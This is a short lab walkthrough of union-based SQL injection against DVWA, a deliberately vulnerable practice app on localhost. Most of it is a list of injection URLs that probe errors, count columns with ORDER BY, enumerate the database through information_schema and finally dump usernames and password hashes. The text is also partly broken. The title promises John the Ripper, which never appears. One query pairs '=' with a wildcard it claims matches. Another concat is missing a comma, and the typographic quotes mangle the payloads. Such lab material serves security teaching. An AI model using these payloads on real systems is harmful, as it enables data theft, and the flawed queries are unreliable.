Union Based Injection using John the Ripper

System used :: Kali Linux

Testing on localhost :: 127.0.0.1/login.php (DVWA)

Open Xampp on Linux and Start MySQL and Apache Server

Open Iceweasel and write 127. 0 . 0.1/login.php

Login to the Application

Username : admin , Password : password

- Setup the security level from ‘High’ to ‘Low’ under DVWA security

- Setup the Database under Setup tab

- Click on SQL injection to begin testing

Enter 1 in the User ID Field

User sees the GET method

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

Check for Exception Handling

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1’&Submit=Submit#

Checking using the True Conditions

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=$’ or ‘1’=’1&Submit=Submit#

The above injection reveal the user id’s in the userdb database.

Checking for number of columns, returning the SQL query

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1’ order by 1–+&Submit=Submit#

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1’ order by 5–+&Submit=Submit#

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1’ order by 3–+&Submit=Submit#

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1’ order by 2–+&Submit=Submit#

This shows the number of columns are 2

Using ‘Union Select’ to consolidate 2 columns

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1’ union select 1, 2–+&Submit=Submit#

For vulnerable columns, make id=-1

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=-1’ union select 1, 2–+&Submit=Submit#

Check for version

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=-1’ union select null, version()–+&Submit=Submit#

To search for database, version and user

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=-1’ union select concat(database(), ‘ ‘, version()), user()–+&Submit=Submit#

To search for corresponding details

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=-1’ union select null, table_name from information_schema.tables –+&Submit=Submit#

For checking specific table, example ‘users’ , in the particular database, here

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=-1’ union select null, table_name from information_schema.tables where table_name = “users%”–+&Submit=Submit#

This SQL query will display all the tables consisting of keyword “users”

Under ‘users’ table, checking for column names

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=-1’ union select null, column_name from information_schema.columns where table_name = “users”–+&Submit=Submit#

Checking and consolidation all the details of all the columns:

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=-1’ union select concat(user_id,’ ‘,first_name,’ ‘,last_name,’ ‘avatar),concat(user,’ ‘,password) from users–+&Submit=Submit#
